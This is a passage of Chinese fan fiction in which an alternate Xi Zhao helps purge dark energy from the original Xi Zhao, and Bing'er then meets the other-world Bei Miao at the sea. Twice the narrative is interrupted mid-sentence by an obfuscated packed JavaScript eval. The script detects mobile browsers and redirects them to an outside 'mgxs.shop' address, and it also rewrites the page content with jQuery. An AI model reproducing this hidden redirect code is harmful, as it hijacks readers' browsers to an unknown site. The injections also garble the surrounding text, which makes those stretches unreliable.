对于西钊的自告奋勇,没有人不担心,特别是北淼。但更多人选择相信西钊的判断,并做好防范措施,只有北淼依旧不依不饶,在“西钊”面前喋喋不休。由于对西钊过度保护,加上最近发生的一切乱七八糟的事情,他有些神经过敏,曾经对影界的种种阴谋论天赋在此刻重新被挖掘出来,不停从“西钊”的话中挑刺。而“西钊”反倒没有一点不耐烦的意味,他知道北淼在通过这种方式掩饰绝不轻易展露的脆弱和恐惧——在这点上,两个北淼意外地很相似。 “北淼,如果你还是不相信我,就让我和他使用虚拟战斗室系统。”“西钊”环视周围封锁的传送仓,笑着说,“虽然在潜意识里消除异能量的步骤要……复杂一些,但在外界不会发生任何冲突。你们可以在封闭的空间、监视我的行动,也可以在任何时候终止。虽然、我不建议你这么做,但这是你的筹码。我知道你和他一样,喜欢手里总是握着掌控权的感觉。” 尽管北淼不愿承认,“西钊”提出的方法对他们而言的确更为有利,只是,北淼想不明白一个问题,而他一向该说的话就有话直说:“别扯那些没用的。你现在还是影界的人,怎么可能这么好心、把一条优秀的狗原封不动还给我们?难道你要我相信、这真的只是你在‘报答’我们为你续命的恩情?” 西钊一时间不知道北淼在夸他优秀还是骂他是狗。 “西钊”这一次沉默了很久,久到北淼差点嗤笑着说出“我就知道是这样”。金影石的光在他手中逐渐变得黯淡,他垂下头,额前碎发形成的阴影落在脸上,让清晰度有限的摄像头难以捕捉和分辨他此刻的表情。他笑了,声音却不带丝毫笑意,甚至有一种凌驾于生命之上的冰冷。而只有北淼知道、只有在时空夹缝中与之相遇过的北淼才知道,这其中透露出的、几乎无法被察觉出的、灰烬般的绝望。 他说:“我选择帮你们,是因为我从西钊的记忆里看到,‘北淼’——另一个北淼——把西钊还给了你们,而你们也听从我的建议,给他和冰儿面对面谈话的机会。而且,北淼,有一点你误会了。我并不为影界而战斗,我是为了他、为了‘北淼’才选择和影界合作,来到这个世界的。如果‘北淼’松开了狗绳,那么,拴在狗脖子上的项圈就没有意义了,不是吗?” 他停顿几秒,无声地深吸一口气、再缓慢吐出,继续道:“实际上,不论你们做什么,我都会消散。世间有天道,而我不是上天能够容许的存在。你们的帮助,只是在减缓这个过程。充足的能量、并不意味着充足的生命力,我不知道如何向你们解释这件事。” 坤中凑到西钊身边,也跟着往监控屏幕上瞅,不知道为什么,他总觉得即使是异世界的西钊也很亲切,对于“西钊”的说法,他很快联想到了合适的比喻,兴奋地竖起食指:“就像是游戏里的生命值和生命上限,美真姐和东杉哥可以用光影能量一直让‘西钊’保持满血状态,但是他的生命值上限还是会减少,从三颗心变成两颗心、两颗心变成一颗心,最后、最后……” 坤中兴奋的状态并没有保持多久,有如渐弱的交响曲,随着他的解说在尾声里泄了气。 尽管听不太懂坤中的表述,“西钊”还是被他逗笑,点点头“嗯”了一声作为友好的回应。他很喜欢坤中这个朋友,不论哪个世界。只是于他而言,遗憾总是多过圆满:“我不像‘北淼’,有小雪作为他的执念、他的‘锚’,支撑他在这个世界,作为正常的人活下去。我……我什么都没有。” “你有他。而他也在尝试让你活下去。”西钊柔声安抚道。 “西钊”似乎又笑了,只是这次的笑容在模糊的画面和金影石微弱而纯净的光辉里略显苍白:“在天道面前,这些都无关紧要。我更希望他把心思放在活人身上,而不是我。我对他的感情,是没办法变成‘锚’的。我和你之间的契印,也无法阻止我继续消散。他救不了我,西钊,你明白吗?从我选择来到这个世界的那一刻起,死亡就是注定的。” 这与西钊之前在“北淼”那里了解到的情况并不相符,于是他小心翼翼地问:“他……知道吗?” “不,我并没有告诉他,他也没有必要知道这个。” 又是一阵沉默,连方才针锋相对的北淼此刻也无话可说,气氛顿时有些尴尬。意识到这一点的西钊决定打破僵局,先一步行动。他想像北淼那样用清嗓子的方式开启新的话题,但他从没这么做过,于是他的声音听上去就像被桌上的那杯凉白开呛到了气管,引得北淼忙赶到他身边给他拍了拍背。西钊难为情地红了耳朵,干笑两声朝北淼摆摆手示意自己没事,抬头重新看着“西钊”的方向。 “我准备好了。现在应该怎么做?” “我需要利用虚拟战斗室系统和你对战。”“西钊”简明扼要地说,金影石的辉光比刚刚明亮了许多,隔着屏幕都能感觉到它散发出的热量和暖意,“如果可以的话,我们需要足够大的场地。” 闻言,大家不约而同地望向他们的“指挥官”美真。美真迅速敲击键盘,操作ERP系统:“没问题。新建的二号传送仓就是专门为光影战士们对练而设计的,只要不是大范围的战斗,场地大小和防御系统都可以承受。我这就把一号传送仓的‘西钊’转移过去。西钊,你可以直接从通道进入。如果有什么意外,我们会及时切断战斗系统。” “好。” ———————— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334712|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与此同时,D市,某个不知名的海湾,一辆黑色摩托车斜停在沙滩。 跨坐在上面的人摘下头盔、搁在车头,理了理被海风吹乱的深褐色短发。他抬手按压蓝牙耳机,调整窃听器的收讯,接着转头望向海天交界之处、那没有尽头的远方。两个相同却又不同的声音有如带着刺鼻咸腥味道的微风一般,萦绕在他耳边、脑海,挥之不去。 “等到那时,你口中的‘爱’,在天道面前,能有多大的力量?” “他救不了我。” 那人不甘心地取下耳机、甩手扔在地上,抬脚用皮鞋的鞋跟狠狠碾碎了它。 ———————— 两人来到潜意识空间,相对而立。“西钊”仍单手托举着金影石,而西钊自然垂落的右臂上,他的印记正肆无忌惮地发出邪恶的暗绿幽光。 “西钊”提出的方法很简单:他需要西钊在潜意识中变成异能兽的形态,他再以雪獒铠甲之力,封印、或者说,驱逐西钊身上的异能量。不过,想要完全逼出异能量,西钊必须在极限范围内舍弃理智战斗。虽然西钊随时都有失控的风险,但好在,作为镜像,他们比任何人都要了解对方;某种意义上,也比他人更信任彼此。 二人对上视线,微微点头、示意行动开始。 “西钊”托举的金影石缓缓浮空,表面生出许多裂纹,逐渐变得“支离破碎”。金影石的碎片散在空中,向它们的主人飘去、环绕在他周身。碎石的光芒越发耀眼,犹如融化的金石变换形态,每一片碎石都是铠甲的一部分。最终,伴随太极的图案印刻在腰间,雪獒纹路在半空一闪而过、烈犬的怒吼震退层层积云,雪白的重甲赫然立于西钊面前。它的面甲亮起白光,即使一言不发,那气魄也足以对人心造成威慑。 雪獒铠甲并未给西钊留任何反应时间,甚至不需按钮,右手五指张开向后伸展,武器符文顿时隔空出现,待他握拳挥臂,震雷斧已然在手、毫不客气地朝面前西钊的方向斜劈而下。但这一击奇袭却扑了个空,惯性使得斧刃前倾、险些着地,刮起的刃风沿着面前厚重的积云疾驰而去,将其切分两半;那股力量在斧刃重新举起时引爆,顷刻间将云雾吹散。那是以凡人之躯绝无可能躲开的攻击,就在刚才,西钊千钧一发之际变身异能兽,利用野兽的本能和迅捷闪避了“西钊”打响的“第一枪”。很显然,现在站在这里的,不再是来自两个世界的西钊,而是雪獒铠甲与雪獒异兽。 潜意识战斗空间并不算大,雪獒铠甲敏锐地察觉到对方的气息——在身后!意识到这点的同时,铠甲的背部被尖锐的利爪划出火星。他往前踉跄一步,也顾不上钝痛,几乎是出于战士的本能,即刻松开握着斧柄的左手回身将震雷斧横向削去。这一条件反射般的攻击令异能兽防御不及,哪怕受到距离限制,胸口仅仅与斧刃浅浅接触,也被那强大的压迫感与力量感震得连退几步。 雪獒铠甲迈步转身、左右歪了歪脖颈,异能兽张开双手的全部利爪、站稳脚跟。热身结束,是时候来点真格的了。 没有发令员、也没有裁判,这次的战斗开始得毫无征兆。两道苍白的炫光随着瞬间奔向对方的脚步如绽放的烟火激烈碰撞。斧刃、盔甲与兽爪擦出火花,光明与黑暗的力量附着在两人的意志之上,激荡起一阵阵风刃,撕裂空气卷起地上的沉云时不时迷了他们的眼。 下一瞬间,迷雾被白色的巨斧斩断,又被异兽落地的冲击波震碎。雪獒厚重的铠甲从未如此轻便,异兽健硕的躯体从未如此敏捷。当这场战斗进行到一定程度时,视觉已经不足以能够捕捉他们的身影,但他们的武器却永远跟得上对方的动作。 伴随异能兽自以为找到破绽、自信满满的一击,场地再次掀起暖黄色的云雾,将二人的身形完全遮蔽。只听一声金属与骨骼间的碰撞,迟来的刃风撕开身侧的层云,卷起一片云浪。只见雪獒铠甲的震雷斧柄斜在胸口,紧贴铠甲,死死抵住异能兽直击他心脏处的利爪。他铆足一股劲、用力将震雷斧向上挥,破了对方的攻势、逼得异能兽后退连连,险些摔倒。此时,异能兽已是精疲力竭,幽暗的白光在他身边环绕,动作也变得迟缓—— 是时候了。 雪獒铠甲后撤半步,一边积蓄金之力,一边拉开弓步、扭转上身,斧刃斜下向后划出弧度。时间仿佛停在这一刻、一切静得落针可闻。 他们脚下是地平线上太阳初升之地,周围映着昏黄淡橙色的光晕,包裹在雪白的铠甲身上,显得神圣而肃穆。英雄从不自诩“英雄”,但这一瞬间、这短短一秒,他就如同从历史书中走出的“勇者”,只是一言不发地站在那里,就仿佛拥有随时改写它的力量。 当纯白色的“削”字符文出现,他的斧刃甚至没有与之触碰,它就化为闪耀的粒子流入震雷斧之中。源源不断的金之力顿时从巨斧中盈溢而出。他知道,这份力量不仅仅来自于他自己的意志,也来自于那个站在他对面、与黑暗力量不断抗争、永不低头的骄傲的灵魂。 高举的震雷斧带着野兽的狂怒斜劈而下时,他能感觉到,这副铠甲之中,同时存在着两个人。 ———————— 二号传送仓内,周围显现雪獒铠甲虚影的“西钊”与周围呈现雪獒异兽虚影的西钊做着最后对峙。随着震雷削的光影穿透西钊的身体,一股强烈的黑暗力量以黑雾的形态从他的体内涌出,触发了ERP实验室的异能量警报。 “美真,就是现在!快!”北淼焦急地喊道,恨不得一个狂瀑顶闯进去把虚弱的西钊捞回来。 美真和东杉动作同步,即刻打开光影能量磁场,调整到最大值。刹那,传送仓内的异能量黑雾仿佛受到了极大的痛苦,扭曲成一团不可名状之物,不断向外释放电磁场,仿佛强弩之末的垂死抵抗。 就在众人担心防御系统会遭到异能量电磁场破坏时,两道白色的光晕于黑雾中一闪,仿佛划破黑夜的曙光。紧接着是两道几乎无法看清的身影穿透黑雾,用那钢铁般的拳头将其最后的挣扎湮灭在电光火石之间。等大家反应过来,才意识到刚刚发生了什么:两副雪獒铠甲、以震雷拳之力协助消灭了从西钊身体中逃出的异能量。而在黑雾消散的瞬间,两人也不约而同地解除了铠甲。 雨过天晴、乌云散去之后,众人在监控画面里看到,西钊的手挂在“西钊”脖子上,被他搀扶着,看起来很是疲惫,却有种说不清的鲜活感;“西钊”则抬起空闲的手,并拢食指和中指、抵在额前,朝摄像头的方向小幅度地摆了摆,脸上仍是那副不易近人的淡淡苦笑。 他说:“已经没事了,北淼。” 没有人注意到,“西钊”挎包中的金影石已然没有了先前的辉光,它的每一次闪烁都在变得更加暗淡;也没有人注意到,“西钊”抬起的手有那么一瞬间变得半透明,仿佛即将踏上归途的鬼魂一般——除了西钊。他死死盯着“西钊”又恢复原样的手,不安地皱起眉。 ……真的,没事了吗? TBC 85. 融水之冰 ———————— 水滴成冰,冰封化雪。 ———————— 西钊身上的异能量被清除之后,“西钊”十分慷慨地贡献了他在市旧图书馆中看到的关于黑雾的基本情报,也告诉他们,感染异能量的普通光影村后人暂时不会有生命危险,只要彻底消灭宇宙黑暗力量,他们就能恢复正常。于是,众人也开始就目前情况讨论下一步的对策。而事实上,“西钊”巧妙地隐瞒了自己曾经尝试利用北淼令双方两败俱伤的行为,在确认“北淼”的态度和立场之前,他还需要留一手退路。 西钊表示印记上还能感觉到残留的影界力量在流动,虽然不会影响到他,但要达到感应黑域入口的程度,仍需要它的本体在人类世界现身;北淼在西钊康复之后便心情大好,行事也恢复了往日的积极,他果断提出引蛇出洞、主动进攻,趁这个大好时机给予影界重创;炘南和东杉都对此计划表示怀疑,认为当下对黑域、黑雾的了解还不够充分,以及两个来自异世界的光影铠甲也是考虑因素,他们是敌是友对战局的影响至关重要;坤中倒是没什么特别的想法,前一秒还同意北淼的看法,后一秒又被炘南的缜密说服,到最后因为北淼一句“早点把影界最后的势力消灭,两个西钊就能早点摆脱影界”而选择了主战派;美真作为统筹指挥,仔细分析众人几轮的辩论后,终归还是认为这件事不能过于冲动,用炘南的话说:知己知彼百战不殆,他们目前甚至不知道如何真正意义上消灭黑雾,也不知道光影铠甲的必杀帖是否能像封印异能兽一样有效,所以她站在炘南和东杉一边。 当每个人都表明态度,情况顿时变得有些微妙。主张按兵不动的人明显比主战派多一票,只剩下关键性的西钊没有发表自己的看法。是立即出击、还是收集情报以静制动?所有人都将炽烈的目光看向低头折腾那可怜魔方的西钊。 西钊很显然被这些视线围得无所适从,以至于拧错了一个方向,导致全盘皆输,只得从头再来。他轻轻放下魔方,无声地叹了口气。上一次成为众人的焦点还是在那个名为理想乡的梦里,再上一次,就是在一切结束之前、他被所有人排挤的时候了。他从没想过、也并不认为自己的想法会比北淼或者炘南的更有参考价值。但他现在是这里的一员,是大家的好兄弟,哪怕最后帮不上什么忙,他多少也要表个态。 但是说真的,西钊认为各执己见的双方都有可取之处。一来,北淼说得对,按“西钊”的说辞,双方其实并没有多少信息差,再调查估计也调查不出连和影界合作的二人都不知道的情报;二来,炘南和东杉的顾虑也并非杞人忧天,异世界的黑犀和雪獒是很大的变数不说,美真所说的如何消灭最后的宇宙黑暗力量才是问题,不确定性太多,而他们没有试错的机会。所以,现在到底该怎么做呢? 这时,西钊突然想起,“西钊”并没有告诉“北淼”关于“锚”、关于能量、关于消散的所有事情,加上他对自己的了解,这是不是意味着,“西钊”和他们之间很有可能依旧存在着信息差。而他不全盘托出的理由显而易见:“北淼”与冰儿的谈话还没结果。冰儿要从国外赶回来,谈话安排在两天后,在这期间,像“西钊”那样的人也许会想给自己留后路,直到”北淼”明确表达自己愿意帮助光影战队,他才会将其余的信息完全袒露。也许……这才是整件事的关键。 “西钊,你怎么想?”见西钊从刚刚开始就一言不发盯着魔方看似在发呆,北淼忍不住提醒。 西钊恍然回神,眨眨眼、抬头望向北淼,又环视一圈,与众人的视线逐一相对,嘴角勾起弧度,露出歉意的笑容,平和地说道:“我们可以等冰儿那边的消息。我认为,‘北淼’的最终立场、对我们而言至关重要。我……我总觉得、关于黑域和黑雾,他没有告诉我们全部。” “你是说,只有‘北淼’站在我们这一边,‘西钊’才会真正意义上地毫无保留吗?”炘南问道。 西钊点点头,低低“嗯”了一声:“我不知道影界有没有派其他的手下去做我和他们曾经做的事、伤害其他无辜的人,所以我想,在有结果之前,也许、也许还有我们能做的事。这听起来不算对他们主动出击,但我想……也没有那么被动,是吧?” 西钊在说“不算主动出击”时像是在征求意见一般小心翼翼地笑着看了看美真,又在说“没有那么被动”时转头望着北淼,那副深棕色双眸中显露无疑的无奈和安抚,好似摇尾巴的抚慰犬,成功堵得北淼无话可说。 对于西钊的提议,炘南予以支持,他又补充几点之后,便不再有其他质疑的声音。 众人打算在这两天分头行动,对周围城市进行巡视、搜寻黑雾、黑域棱镜的下落。除了东杉会花一些时间在ERP实验室陪美真使用卫星尝试定位异能量,其他人几乎都在出外勤。北淼说什么也要和西钊一起行动,不论西钊说多少次“我能照顾好自己”,北淼都当耳旁风。 他们差点又因为这件事发生口角,但北淼在西钊能说什么的时候用一个吻打断了他,并说:“现在不是说这个的时候。你要是再出事,我们拿什么来对付邪恶势力?” 西钊反驳的话就在嘴边,仿佛他们之间的心灵感应又回来了,北淼一看西钊的表情就知道他要说什么,再次抢过话头,说道:“听着,西钊,我没有把你当成工具的意思。你对我、对我们、对所有人都很重要。我知道你不喜欢这样,但现在你就听我一次好不好。等到一切结束之后,有的是时间谈我们之间的事。” 北淼捧着他脸颊的手很热,和那双将他击穿的眸子一样滚烫,让人禁不住移开视线。西钊心想,也许自己不应该把北淼的过度保护看成是监视和束缚,换个角度想,这何尝不是一种陪伴和守候。如果这能给北淼带来安全感的话,暂时满足一下他也不是不行。西钊叹了口气,回以妥协的目光,无声轻笑。至少北淼已经意识到他不喜欢什么了,这是个很好的开始,不是吗? “好。”他说,“都听你的。” ———————— 上飞机之前,冰儿从北淼的电话里了解到“有人想和你见面谈谈”。冰儿起初没有多想,直到北淼接机时她才知道,下午她要面见的是“另一个北淼”。 北淼一边把冰儿领上车,一边给她解释起来龙去脉。这本该是件令人匪夷所思的事,然而,冰儿比她预料的更快接受了这个事实。毕竟,最终大战结束后的这两年,她的小北哥和西钊一个蜜月计划下来,都不知道去过几个异世界走南闯北了。 不过,冰儿不太明白,为什么非得是她?这对北淼他们现在的局势有什么帮助吗? 我也想知道。看着面前他当宝贝护着宠着的妹妹,北淼在心里默默给另一个自己翻个白眼。 去目的地的路上,他告诉冰儿,可以在手机装窃听器和定位器,有什么意外情况可以让ERP的卫星进行定位、并直接传送离开。坐在副驾驶的冰儿虽缓慢地点了点头,却向北淼投去一个狐疑的眼神。北淼敏锐地捕捉到了这一举动,双手握着方向盘也不方便扭头看,但他知道冰儿对此似乎有些疑问。他北淼活了二十几年天不怕地不怕的,到了现在最怕两件事:一个是西钊不爱他,另一个,就是小雪讨厌他。 带着这份忐忑的心情,北淼说话的腔调都变得卑微起来:“我的意思是……这样会安全一点。那家伙是影界的人,也对他自己世界的小雪有很深的执念,我只是担心、担心你遇到危险。你知道,他不允许其他人在场,如果我不能在你需要的时候及时出现,我——” 北淼的后话随着面前出现的红灯卡在喉咙。但冰儿却柔和了表情,摇摇头,抬手捏住胸前挂着的奶白色小海螺:“不,小北哥,我理解。我不反对安装定位器,刚刚只是想到了西钊。” “西钊?”北淼眉毛一挑,数秒前的不安即刻烟消云散。 “嗯,西钊前段时间跟我打过电话,我们聊了一会儿你在他手机上装窃听器和定位器的事。他听上去……有些沮丧。”冰儿顿了顿,斟酌措辞之后才用了“沮丧”这个形容。 北淼闻言,忍不住自嘲地勾唇笑出声,心想那家伙八成是在小雪那里抱怨自己令人窒息的过度保护吧。结果,令北淼没想到的是,冰儿还有后半句话。 大约是猜到北淼自嘲的原因,她补充道:“不过,他倒不是在埋怨谁;相反,他是因为没办法把自己的真实想法坦率地告诉你,所以……听起来很低落、没什么精神。我觉得、他没有责怪你的意思,小北哥。” 一时间,北淼分不清这是小雪安慰他的说辞,还是西钊真的曾经这样想过,而他什么都没察觉到。明明是他的控制欲太强、太偏执,西钊却把原因归咎于自己的闭口不言,老实说,这还真像是西钊会考虑的事情。要是他那时候就意识到他们之中出现了裂痕,影界或许就不会这么轻而易举地趁虚而入了。真是讽刺。 “只是没想到、你们会因为这个分手。”末了,冰儿刻在骨子里的毒舌又给北淼补了一刀。 “……别提这个了,小雪。我错了还不行吗。” 倒计时结束,绿灯赫然亮起,北淼哭笑不得地踩下了油门。 ———————— 午后,冰儿独自一人如约来到郊外公路旁的浅滩上。 路边停着一辆显眼的黑色摩托车,车头搁着一个黑色头盔,车身还点缀着几处亮黄色的三角形纹路,整体风格情理之外意料之中地和黑犀铠甲十分相近,好似行走在陆地上的光影驹。 越过公路低矮护栏,就能看到一片与汪洋相连的浅滩。地上并非细腻的软沙,而是粗糙甚至带有些尖锐的碎石。就在潮起潮落、海浪刚好漫过石滩的交界线上,一个熟悉却又陌生的人影站得笔直,手臂挽着另一个同款的头盔,如果不对着阳光仔细看,几乎分辨不出那是深蓝色。他面对着海,并未立即转身迎接,只给冰儿留下略显孤单的背影。 冰儿与他的距离不近不远,她确信自己踏上浅滩时碎石摩擦的窸窣响声对方听得一清二楚,面对这种没有回应的沉默,冰儿自然也选择了同样的方式予以对峙。在这段仿佛被烙下禅定印的时间里,他们谁都没有做主动的那一方,直到潮水随着远处的风浪逐渐上涨,即将没过那人黑色皮靴的瞬间,他轻巧而优雅地向后小跳、转身,犹如小幅旋转的圆规,鞋跟陷入碎石堆稳住脚步的同时将手中的头盔精准地扔向不远处的冰儿。 冰儿反应迅速地单手接住、又用双手抱着,并未检视头盔,而是困惑地看向站在她对面、与她的小北哥面容完全一致、气质与气场却截然不同、甚至完全相反的人——来自另一个世界的“北淼”。一定要说外貌上有什么不同的话,细心的冰儿会说,“北淼”的刘海要长一些,以至于现在的海风将其吹拂得几乎遮住他全部的一半眼睛。 “北淼”抬手竖起食指将碍眼的刘海拨到耳后,又将敞开的皮衣夹克衣领高高竖起,一边朝冰儿的方向走,一边耸了耸肩膀、摊开双手,说道:“你以为、我打算让你在这里吹一下午海风吗?用你们的话说……不,应该是,用他们的话说:一个好的绅士应该为淑女提供良好舒适的环境。好吧,虽然我不是绅士,你也不算是淑女。无意冒犯,我只是觉得、界王那个老家伙养出来的,大概都是些烈性犬。噢,这些我们可以待会儿再聊。” “北淼”没有在意冰儿如何回应,他与冰儿擦肩而过,径直朝自己偷来并私自改装过的摩托车走去。他没有回头,左手插入裤袋、右手平肩举起,左右摆了摆,悠然自得的声音被海风吹卷着回荡在冰儿耳边:“来吧,我知道个好地方,带你兜兜风。这可比那家伙的跑车刺激多了。相信我,你会喜欢上这种感觉的。” 冰儿瞧着这个自顾自莫名其妙说了一通的人,低头看看手中的头盔,陷入短暂的思考。虽然身上有北淼的定位器,但和西钊一样,她也是战士。哪怕金盆洗手,也洗不掉最基本的警戒心,加上北淼再三嘱咐和劝诫,让冰儿不由得更为谨慎。 “没关系。”冰儿抬头望着那个渐行渐远的背影,竟没来由地觉得那身影有些寂寞,她犹豫着将冰冷的“不必了”换成了“没关系”,说道,“我觉得,这里就挺好。” “北淼”停住脚步、放下手,微微侧身回眸一瞥,眼神既有调笑和无奈,也有一丝淡淡的遗憾:“我是影界的人,你在担心我对你下手。” 冰儿没有说话,只是目不转睛地关注“北淼”的一举一动,犹如压低尾巴、草木皆兵的猫。“北淼”似是笑了,继续说道:“我也想过这么做。当初我愿意屈尊听影界差遣,也是为了来到这里、替换他,成为你的哥哥。因为在我的世界,和他一样,我松开了你的手。不同的是,被界王带走的人是我。我变强的目的只有一个,就是从他们手里抢回……我的妹妹。” “北淼”在“你”和“她”这两个代词之间选择了“妹妹”。他完全背转过身,大步流星地来到冰儿面前,低头、抬手,勾指用骨节敲了敲冰儿手里抱着的头盔。冰儿似乎因为“北淼”意外地坦率而没有选择躲开。“北淼”很庆幸,脸上挂着的玩世不恭也因此收敛几分,飘然的语气此刻也仿佛落了地,相较方才沉稳了些许:“但根据某个人的说法,我失败了。我死在了那个‘未经他人苦,就劝他人善’的、自诩正义的家伙手下,再也没有机会得到原谅、也再也没有机会弥补过去。而现在,我成为了忤逆天道的存在。只要我除掉他、带你走,也许就能……呵,谁知道呢。” “北淼”自嘲地哼笑,抬头时望向的不是冰儿,而是她身后的汪洋大海。 “但你、其实不想这么做,对吗?”几秒的沉默后,冰儿忽然问。 “北淼”一愣,即刻转动眸子看着冰儿。他微微睁大双眼表现出的意外表情,恰好在冰儿的意料之内。虽然外貌相似、气质不同、性格上也有所差异,但“北淼们”的内核似乎有着微妙的共通之处,这让冰儿有一种直觉:面前的人的确想过要从这个世界夺走什么,但内心深处,他对于某些问题早就有了答案——他一直都知道的答案。 “你又知道什么……”惊讶过后,“北淼”苦笑地摇摇头,他并非带有责备的口吻,更多的是对小雪的敏锐束手无策。他的指腹擦了擦头盔,光滑如镜的表面映出他曾小心藏起来的憔悴面容。 像是不忍继续说什么残酷的现实,冰儿迟疑了好一会儿。半晌,她才开口道:“因为没有意义。” “……因为没有意义。”“北淼”笑容依旧,却几近机械地重复棒读。 他的眸子再次望着冰儿,那双眼里没有烈火、没有炽热,只有沉重的、如沉底海洋般令人窒息的悲伤和不甘。 他说:“你不是‘小雪’,也不是我妹妹。” 他说:“不管我怎么做,都是没有意义的。” 他救不了心爱的人,也得不到亏欠的人。 究竟是什么驱使他来到这个世界? 支撑他仍旧存在于世的“锚”,到底是什么? 冰儿第一次感觉到,这世界上还有比恶水附身更刺骨的寒意。她从那寒冷中感觉不到任何危险,她很熟悉、又或者说太过熟悉这种深入骨髓的痛苦。而它的名字,叫做“孤独”。 她忽然无法再对这样的“北淼”加以怀疑和警惕,转而避开“北淼”的视线,略微后撤,将头盔从他手中抽离。 “北淼”还未反应过来,冰儿便将头盔单手托举、做了两次抛接,一副命令的口吻,说道:“好吧,我不反对。但是至少有件事,我们还可以去做,不是吗,自称不是绅士的绅士先生?” 从悲伤转为惊讶、最后变为释然笑容的一系列表情变化在“北淼”脸上显得颇为滑稽,他很快理解了冰儿的意思,侧过身做了个并不标准的“女士优先”手势,笑着调侃:“不怕我真的带你远走高飞吗?说不定我那儿的待遇会更好。” “稍微有点吧。”跨上摩托车后座时,冰儿说,她双手拿着头盔,小幅耸肩,转了转双瞳,“但我了解小北哥,他还不至于到这种卑鄙的程度。”言罢,她套上头盔,抬手在眼前往下一滑,盖上目镜,也不跟“北淼”客气,双手十分自来熟地环上他的腰。 “北淼”对冰儿的形容再熟悉不过,本想心里暗自感叹,谁知那些话在他用力启动发动机时莫名地就这样从嘴里溜了出去:“你们两个、真不愧是兄妹……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334713|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“为什么这么说?” “因为,他也是这么回答我的。” 也不知是羡慕还是嫉妒,“北淼”将一股并没有多少威胁性的火气发泄在几次拧油门的轰隆引擎声里,带着冰儿沿着海边的大路、朝未知的方向疾驰而去。 潮起潮落,黑色的摩托呼啸着消失在地平线的尽头。 —————— 他们沿着环海的公路骑行了很久,几乎没有停下来休息过;他们也没有怎么说话、聊天,就只是迎风享受高速驰骋带来的感官刺激。冰儿不得不承认“北淼”是对的,这的确比坐跑车兜风有趣得多。北淼带她出去逛的时候顾及得太全,因此从不敢开太快。相比如兄长稳重成熟的北淼,“北淼”在此刻其实更像是她的朋友:没有限制、没有顾虑,畅快地尽情玩乐,放肆地表达自我。 可冰儿一想到北淼对她说的那些“故事”、他们现在面临的困境、“北淼”在这次面谈中所代表的意义,又觉得如此悲哀。他们让自己与这个“北淼”见面的目的,无非是想利用她说服“北淼”加入光影战队,帮助他们消灭邪恶势力。但他们或许并没有设身处地想过,她——冰儿、不,小雪——在那个人心里意味着什么。诚然,这是一种策略,可又何尝不是在揭露伤疤。她想,如果“北淼”有机会再次见到他的妹妹,那个小雪一定会过得更加幸福,因为,她的哥哥比世界上任何一个人都要爱她。 冰儿曾埋怨北淼对她弃之不顾、责怪他不懂她的身不由己、不理解她深陷黑暗的苦衷;如今,面对“北淼”,她却深深感到共情,无可指责、也无从嘲讽,心中溢出的满满都是同情与怜悯。对以前自诩正义、说一套做一套的北淼,她只想推开;对面前这个不论正邪、一心只想要赎罪并付之于行动的“北淼”,她只想给他一个拥抱。 因为“北淼”不是北淼,他和她一样,受过十年的伤、吃过十年的苦。 冰儿在后座如此胡思乱想时,“北淼”已经停下了摩托车。他们来到一座半开放式的海湾餐厅,餐厅的后方连着沙滩,且配备有专属的座位、太阳伞和躺椅,服务也相当齐全周到。 托北淼的福,冰儿的衣装总是显得高端雅致、同时也不失冰儿自身的特点:安静柔和、坚强锐利。因此,她轻而易举地融入到了这样的高级场所之中。 而“北淼”则仍是那副机车套装,就好像他衣柜里只有这套衣服似的:黑皮夹克拉得老高,却又敞开拉链;里头白色的内衬顶扣永远都扣不上,颇有一股浪子的气质;潮流的休闲皮裤更不用说,裤头还挂着根和西钊们同款的金属链条,走起路来别提有多亮眼;还有他那舍不得碰水的黑色皮质短靴,用他自己的话说:你能走什么样的路,取决于你穿什么样的鞋。 不过这句话在被“西钊”用一句“你能穿什么样的鞋,取决于你身上有多少钱”给调侃一番之后,他就再没有说过了。 虽然“北淼”整个人的气场和高档餐厅的奢华风格完全不搭,甚至有些违和,但他的钱包意外地符合这里的消费水准。他阔绰地用一沓钞票包揽了室外的所有区域,并在询问冰儿的喜好之后点了最豪华的套餐。他们被服务员领到沙滩,挑选最佳的观海位置坐下。对于等待餐点期间的餐前饮品,他们异口同声地说:给我一杯热橙汁。那一刻,两人都愣住了,却也只是相视一笑,并未多言。 一开始,“北淼”还担心这会是一场官方的、正式又无趣的“正义谈判”,之后他又担心小雪面对一个陌生的“小北哥”是否会觉得尴尬,北淼肯定对小雪说过他们的事。直到热橙汁递上来、冰儿握杯伸手、朝他做碰杯手势之前,他都不知道应该和小雪聊些什么。可是当两个精巧漂亮的玻璃杯轻轻碰在一起、发出清脆响声时,这些顾虑忽然之间就被什么东西吹散了。 “北淼”本以为谈论影界、谈论那些痛苦的过去,会让小雪感到不适甚至于反感,然而,令他们自己都觉得意外的是,关于这个话题他们竟然能“相谈甚欢”。 老实说,在原本的世界里,他印象中跟着金村召唤人的那个小雪是个非主流小女生,行事直爽冷酷、心善却也毒舌,“北淼”几乎没怎么见过她笑的样子。而这里的小雪,笑起来很不自然——这并非贬义。他的意思是,那种神态更像是很多年没有笑过、或是没有办法露出笑容,最近才开始学习这个表情的“不自然”。他很喜欢这种真实感。因为从那个笑容里他看得出来,小雪在慢慢地、慢慢地感受温暖。 